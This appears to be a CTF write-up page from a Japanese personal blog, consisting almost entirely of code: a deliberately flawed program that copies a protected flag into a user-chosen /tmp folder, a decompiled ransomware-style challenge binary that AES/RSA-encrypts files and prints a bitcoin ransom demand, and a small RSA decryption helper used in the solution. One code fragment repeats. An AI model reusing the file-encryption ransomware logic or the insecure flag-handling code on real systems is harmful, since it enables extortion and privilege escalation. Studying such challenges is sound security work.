st98 の日記帳

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <dirent.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <pwd.h>
#include <linux/fs.h>

#define BUFSIZE 256
#define MAX_ENTRIES 16

int protect(const char *flag_path)
{
        int fd;
        int attr;

        fd = open(flag_path, O_RDONLY);
        ioctl(fd, FS_IOC_GETFLAGS, &attr);
        attr |= FS_IMMUTABLE_FL;

        if (ioctl(fd, FS_IOC_SETFLAGS, &attr) < 0)
        {
                perror("IOCTL ERROR");
                printf("Please report to admin.\n");
                return 1;
        }

        close(fd);
        return 0;
}

int unprotect(const char *flag_path)
{
        int fd, attr;

        fd = open(flag_path, O_RDONLY);
        ioctl(fd, FS_IOC_GETFLAGS, &attr);
        attr ^= FS_IMMUTABLE_FL;

        if (ioctl(fd, FS_IOC_SETFLAGS, &attr) < 0)
        {
                perror("IOCTL ERROR");
                printf("Please report to admin.\n");
                return 1;
        }

        close(fd);
        return 0;
}

int copy(const char *src, const char *dst)
{
        char *content;
        FILE *file;
        int attr, flag_fd;

        file = fopen(src, "r");
        if (ferror(file))
                return 1;

        content = malloc(BUFSIZE);
        fread(content, BUFSIZE, 1, file);
        fclose(file);

        file = fopen(dst, "w");
        if (ferror(file))
        {
                free(content);
                return 1;
        }

        chmod(dst, S_IRUSR | S_IWUSR);
        fwrite(content, strlen(content) + 1, 1, file);
        fclose(file);

        free(content);
        return 0;
}

int setup(char **argv, char *dst_path)
{
        char *tmp_path = malloc(BUFSIZE);
        struct passwd *pwd;
        int attr;

        strncpy(tmp_path, argv[1], BUFSIZE);
        realpath(tmp_path, dst_path);
        strncpy(tmp_path, dst_path, BUFSIZE);

        if (!dst_path || strstr(dst_path, "/tmp/") != dst_path)
        {
                printf("Please work in a temporary folder under /tmp/\n");
                free(tmp_path);
                return 1;
        }

        strcat(tmp_path, "/flag");
        remove(tmp_path);
        copy("/home/catall/flag", tmp_path);

        free(tmp_path);
        return 0;
}

int main(int argc, char **argv)
{
        char *file_content;
        char *dir_path;
        char *file_path;
        char *flag_path;
        struct dirent **entries, *entry;
        FILE *file;
        int i, n, attr, flag_fd;

        if (argc != 2)
        {
                printf("Usage: catall.c /tmp/<your_folder>\n");
                return 1;
        }

        dir_path = malloc(BUFSIZE);
        if (setup(argv, dir_path))
        {
                free(dir_path);
                return 1;
        }

        flag_path = malloc(BUFSIZE);
        snprintf(flag_path, BUFSIZE, "%s/flag", dir_path);
        if (protect(flag_path))
        {
                remove(flag_path);
                free(flag_path);
                free(dir_path);
                return 1;
        }

        if ((n = scandir(dir_path, &entries, NULL, alphasort)) == -1)
        {
                printf("Directory Error\n");
                free(flag_path);
                free(dir_path);
                return 1;
        }

        file_content = malloc(BUFSIZE);
        file_path = malloc(BUFSIZE);

        for (i = 0; i < n && i < MAX_ENTRIES; i++)
        {
                entry = entries[i];
                snprintf(file_path, BUFSIZE, "%s/%s", dir_path, entry->d_name);

                if (entry->d_type == DT_REG)
                {
                        printf("%s:\n", entry->d_name);
                        file = fopen(file_path, "r");

                        if (file != NULL)
                        {
                                memset(file_content, 0, BUFSIZE);
                                fread(file_content, BUFSIZE, 1, file);
                        }

                        if (!strstr(file_path, "flag"))
                        {
                                printf("%s\n", file_content);
                                memset(file_content, 0, BUFSIZE);
                        }
                }
        }

        free(file_content);
        free(file_path);
        free(dir_path);

        if (!unprotect(flag_path))
                remove(flag_path);
        free(flag_path);

        return 0;
}

                        file = fopen(file_path, "r");

                        if (file != NULL)
                        {
                                memset(file_content, 0, BUFSIZE);
                                fread(file_content, BUFSIZE, 1, file);
                        }

                        if (!strstr(file_path, "flag"))
                        {
                                printf("%s\n", file_content);
                                memset(file_content, 0, BUFSIZE);
                        }

undefined8 FUN_001019f3(int iParm1,char **ppcParm2)

{
  // ︙
  phVar1 = gethostbyname(&DAT_00303020);
  if (phVar1 == (hostent *)0x0) {
    main(iParm1,ppcParm2);
    uVar2 = 0;
  }
  else {
    puts("<REDACTED> (shell server has flag here)");
    uVar2 = 0xffffffff;
  }
  return uVar2;
}

void main(int iParm1,char **ppcParm2)

{
  __pid_t _Var1;
  __uid_t __ruid;
  int iVar2;
  int iVar3;
  uint uVar4;
  ulong uVar5;
  long in_FS_OFFSET;
  char *local_28;
  undefined *local_20;
  undefined8 local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  if (iParm1 < 2) {
    _Var1 = fork();
    if (_Var1 == 0) {
      local_28 = *ppcParm2;
      local_20 = &DAT_00101b59;
      local_18 = 0;
      execve(*ppcParm2,&local_28,(char **)0x0);
    }
    else {
      __ruid = getuid();
      srand(__ruid);
      iVar2 = rand();
      puts("-- Roleplay mode activate ---");
      iVar3 = rand();
      uVar4 = (uint)(iVar3 >> 0x1f) >> 0x14;
      uVar5 = (ulong)((iVar3 + uVar4 & 0xfff) - uVar4);
      printf("SEND %d BITCOINS IF YOU WANT YOUR FILES BACK\n",uVar5,uVar5);
      printf("Address: %s\n",s_13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb_00303120 + (long)(iVar2 % 3) *0x23)
      ;
      wait((void *)0x0);
    }
  }
  else {
    __ruid = geteuid();
    setreuid(__ruid,__ruid);
    encrypt_files();
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

void encrypt_files(void)

{
  int iVar1;
  BIO *bp;
  time_t tVar2;
  char *__s1;
  DIR *__dirp;
  dirent *pdVar3;
  long lVar4;
  undefined8 *puVar5;
  long in_FS_OFFSET;
  byte bVar6;
  int local_13c;
  char dir [32];
  undefined8 local_f8 [29];
  long local_10;
  
  bVar6 = 0;
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  bp = BIO_new_mem_buf(&DAT_0030384d,0x1ca);
  rsa_pubkey = PEM_read_bio_RSA_PUBKEY(bp,(RSA **)0x0,(undefined1 *)0x0,(void *)0x0);
  tVar2 = time((time_t *)0x0);
  srand((uint)tVar2);
  dir._0_8_ = 0x6e61772f7261762f;
  dir._8_8_ = 0x32656c696d73616e;
  dir._16_8_ = 0x2f;
  dir._24_8_ = 0;
  lVar4 = 0x1c;
  puVar5 = local_f8;
  while (lVar4 != 0) {
    lVar4 = lVar4 + -1;
    *puVar5 = 0;
    puVar5 = puVar5 + (ulong)bVar6 * 0x1ffffffffffffffe + 1;
  }
  __s1 = strrchr(dir,0x2f);
  __s1[1] = 0;
  __dirp = opendir(dir);
  if (__dirp != (DIR *)0x0) {
LAB_00101846:
    pdVar3 = readdir(__dirp);
    if (pdVar3 != (dirent *)0x0) {
      if (pdVar3->d_type == '\b') {
        __s1 = strrchr(pdVar3->d_name,0x2e);
        local_13c = 0;
        while( true ) {
          if ((4 < local_13c) || (__s1 == (char *)0x0)) goto LAB_00101846;
          iVar1 = strncmp(__s1,&DAT_00303190 + (long)local_13c * 5,4);
          if (iVar1 == 0) break;
          local_13c = local_13c + 1;
        }
        strncat(dir,pdVar3->d_name,0x100);
        encrypt_file(dir);
        __s1 = strrchr(dir,0x2f);
        __s1[1] = 0;
      }
      goto LAB_00101846;
    }
    closedir(__dirp);
  }
  BIO_free(bp);
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

void encrypt_file(char *path)

{
  long lVar1;
  RSA *rsa;
  int rsa_size1;
  int rsa_size2;
  uchar *aes_key;
  uchar *encrypted_key;
  size_t file_len;
  int iVar2;
  EVP_CIPHER_CTX *ctx;
  EVP_CIPHER *cipher;
  size_t key_len;
  long in_FS_OFFSET;
  int pad;
  uchar *original_content;
  void *encrypted_content;
  FILE *fp;
  uchar *keyyyy;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  original_content = (uchar *)0x0;
  encrypted_content = (void *)0x0;
  aes_key = (uchar *)calloc(0x21,1);
  rsa_size1 = RSA_size(rsa_pubkey);
  encrypted_key = (uchar *)calloc((long)rsa_size1,1);
  fp = fopen(path,"rb");
  pad = 0;
  if (fp != (FILE *)0x0) {
    fseek(fp,0,2);
    file_len = ftell(fp);
    rewind(fp);
    if (file_len != 0) {
      original_content = (uchar *)calloc(file_len,1);
      encrypted_content = calloc(file_len + 0x10,1);
      fread(original_content,1,file_len,fp);
      fclose(fp);
      iVar2 = memcmp("WANNASMILE",original_content,10);
      if (iVar2 != 0) {
        generate_key(aes_key,0x20);
        ctx = EVP_CIPHER_CTX_new();
        cipher = EVP_aes_256_cbc();
        EVP_EncryptInit_ex(ctx,cipher,(ENGINE *)0x0,aes_key,(uchar *)0x0);
        EVP_EncryptUpdate(ctx,(uchar *)encrypted_content,&pad,original_content,(int)file_len);
        iVar2 = pad;
        EVP_EncryptFinal_ex(ctx,(uchar *)encrypted_content + (long)pad,&pad);
        iVar2 = iVar2 + pad;
        EVP_CIPHER_CTX_free(ctx);
        rsa = rsa_pubkey;
        key_len = strlen((char *)aes_key);
        RSA_public_encrypt((int)key_len,aes_key,encrypted_key,rsa,1);
        fp = fopen(path,"wb");
        fwrite("WANNASMILE",1,10,fp);
        rsa_size2 = RSA_size(rsa_pubkey);
        fwrite(encrypted_key,1,(long)rsa_size2,fp);
        fwrite(encrypted_content,1,(long)iVar2,fp);
      }
    }
  }
  if (original_content != (uchar *)0x0) {
    free(original_content);
  }
  if (encrypted_content != (void *)0x0) {
    free(encrypted_content);
  }
  if (aes_key != (uchar *)0x0) {
    free(aes_key);
  }
  if (encrypted_key != (uchar *)0x0) {
    free(encrypted_key);
  }
  fclose(fp);
  if (lVar1 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

#include <stdio.h>
#include <string.h>
#include <openssl/evp.h>
#include <openssl/rsa.h>
#include <openssl/pem.h>

int main(void) {
  FILE *fp;
  char enc_aeskey[2000], dec_aeskey[2000];

  EVP_CIPHER_CTX *ctx;
  RSA *rsa;

  fp = fopen("priv.txt", "rb");
  rsa = PEM_read_RSAPrivateKey(fp, NULL, NULL, NULL);
  fclose(fp);

  fp = fopen("flag2.txt", "rb");
  fseek(fp, 10, SEEK_SET);
  fread(enc_aeskey, sizeof(char), RSA_size(rsa), fp);
  fclose(fp);

  RSA_private_decrypt(RSA_size(rsa), enc_aeskey, dec_aeskey, rsa, 1);
  puts(dec_aeskey);
  
  return 0;
}